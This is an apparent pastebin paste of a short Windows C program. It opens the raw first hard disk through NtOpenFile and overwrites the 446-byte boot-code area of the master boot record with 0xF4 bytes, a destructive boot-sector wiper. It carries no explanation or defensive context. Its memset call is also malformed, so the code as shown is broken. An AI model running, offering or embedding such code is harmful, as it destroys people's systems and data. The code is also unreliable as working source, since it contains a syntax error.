All pastes #671861 Raw Edit

Unnamed

public text v1 · immutable
#671861 ·published 2007-08-27 01:04 UTC
rendered paste body
#include <stdio.h>
#include <stdarg.h>
#include <windows.h>

#define InitializeObjectAttributes(p,n,a,r,s) \
         (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
         (p)->RootDirectory = r; \
         (p)->Attributes = a; \
         (p)->ObjectName = n; \
         (p)->SecurityDescriptor = s; \
         (p)->SecurityQualityOfService = NULL;

typedef ULONG NTSTATUS;

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
     ULONG Length;
     PVOID RootDirectory;
     PUNICODE_STRING ObjectName;
     ULONG Attributes;
     PVOID SecurityDescriptor;
     PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
     union
     {
          LONG Status;
          PVOID Pointer;
     };
     ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


NTSTATUS WINAPI NtOpenFile(
  PHANDLE FileHandle,
  ACCESS_MASK DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PIO_STATUS_BLOCK IoStatusBlock,
  ULONG ShareAccess,
  ULONG OpenOptions
);



#define OBJ_OPENIF           0x00000080L

void WINAPI RtlInitUnicodeString(PUNICODE_STRING, PCWSTR);

#define IN
#define OPTIONAL

NTSTATUS WINAPI
  NtWriteFile(
    IN HANDLE  FileHandle,
    IN HANDLE  Event  OPTIONAL,
    IN PVOID  ApcRoutine  OPTIONAL,
    IN PVOID  ApcContext  OPTIONAL,
    OUT PIO_STATUS_BLOCK  IoStatusBlock,
    IN PVOID  Buffer,
    IN ULONG  Length,
    IN PLARGE_INTEGER  ByteOffset  OPTIONAL,
    IN PULONG  Key  OPTIONAL
    );

main(){
   UNICODE_STRING us;
   HANDLE hFileHandle = 0;
   IO_STATUS_BLOCK iob;
   OBJECT_ATTRIBUTES obatt;
   RtlInitUnicodeString(&us, L"\\Device\\HardDisk0\\Partition0");
   InitializeObjectAttributes(&obatt, &us, OBJ_OPENIF, NULL, NULL);
   NTSTATUS status = NtOpenFile(&hFileHandle, GENERIC_WRITE, &obatt, &iob, FILE_SHARE_WRITE, 0);
   char buffer[446];
   memset(&buffer), 0xF4, 446);
   NtWriteFile(hFileHandle, NULL, NULL, NULL, &iob, &buffer, 446, NULL, NULL);
   CloseHandle(hFileHandle);
}